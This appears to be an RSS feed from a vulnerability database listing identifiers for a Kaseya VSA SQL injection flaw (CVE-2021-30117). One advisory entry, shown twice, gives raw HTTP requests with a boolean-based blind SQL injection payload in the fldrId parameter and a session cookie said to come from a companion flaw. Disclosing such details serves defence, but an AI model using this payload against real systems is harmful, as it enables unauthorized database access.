https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Mon, 05 Oct 2026 14:21:57 +0000 https://cve.radiocsirt.org/vuln/bdu:2023-02419 bdu:2023-02419 https://cve.radiocsirt.org/vuln/bdu:2023-02419 https://cve.radiocsirt.org/vuln/certfr-2021-avi-514 certfr-2021-avi-514 https://cve.radiocsirt.org/vuln/certfr-2021-avi-514 https://cve.radiocsirt.org/vuln/cnvd-2021-50180 cnvd-2021-50180 https://cve.radiocsirt.org/vuln/cnvd-2021-50180 https://cve.radiocsirt.org/vuln/euvd-2026-26708 EUVD-2026-26708 https://cve.radiocsirt.org/vuln/euvd-2026-26708 https://cve.radiocsirt.org/vuln/fkie_cve-2021-30117 <p>The API call /InstallTab/exportFldr.asp is vulnerable to a semi-authenticated boolean-based blind SQL injection in the parameter fldrId. Detailed description --- Given the following request: ``` GET /InstallTab/exportFldr.asp?fldrId=1’ HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&amp;roleId=2; webWindowId=59091519; ``` Where the sessionId cookie value has been obtained via CVE-2021-30116. The result should be a failure. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 19:12:11 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 881 &lt;!DOCTYPE html&gt; &lt;HTML&gt; &lt;HEAD&gt; &lt;title&gt;Whoops.&lt;/title&gt; &lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=Edge&#34; /&gt; &lt;link id=&#34;favIcon&#34; rel=&#34;shortcut icon&#34; href=&#34;/themes/default/images/favicon.ico?307447361&#34;&gt;&lt;/link&gt; ----SNIP---- ``` However when fldrId is set to ‘(SELECT (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END))’ the request is allowed. Request: ``` GET /InstallTab/exportFldr.asp?fldrId=%28SELECT%20%28CASE%20WHEN%20%2…</p> <p>The API call /InstallTab/exportFldr.asp is vulnerable to a semi-authenticated boolean-based blind SQL injection in the parameter fldrId. Detailed description --- Given the following request: ``` GET /InstallTab/exportFldr.asp?fldrId=1’ HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&amp;roleId=2; webWindowId=59091519; ``` Where the sessionId cookie value has been obtained via CVE-2021-30116. The result should be a failure. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 19:12:11 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 881 &lt;!DOCTYPE html&gt; &lt;HTML&gt; &lt;HEAD&gt; &lt;title&gt;Whoops.&lt;/title&gt; &lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=Edge&#34; /&gt; &lt;link id=&#34;favIcon&#34; rel=&#34;shortcut icon&#34; href=&#34;/themes/default/images/favicon.ico?307447361&#34;&gt;&lt;/link&gt; ----SNIP---- ``` However when fldrId is set to ‘(SELECT (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END))’ the request is allowed. Request: ``` GET /InstallTab/exportFldr.asp?fldrId=%28SELECT%20%28CASE%20WHEN%20%2…</p> https://cve.radiocsirt.org/vuln/fkie_cve-2021-30117 https://cve.radiocsirt.org/vuln/ghsa-cfh7-xwhw-f278 <p>SQL injection exists in Kaseya VSA before 9.5.6.</p> <p>SQL injection exists in Kaseya VSA before 9.5.6.</p> https://cve.radiocsirt.org/vuln/ghsa-cfh7-xwhw-f278 https://cve.radiocsirt.org/vuln/gsd-2021-30117 gsd-2021-30117 https://cve.radiocsirt.org/vuln/gsd-2021-30117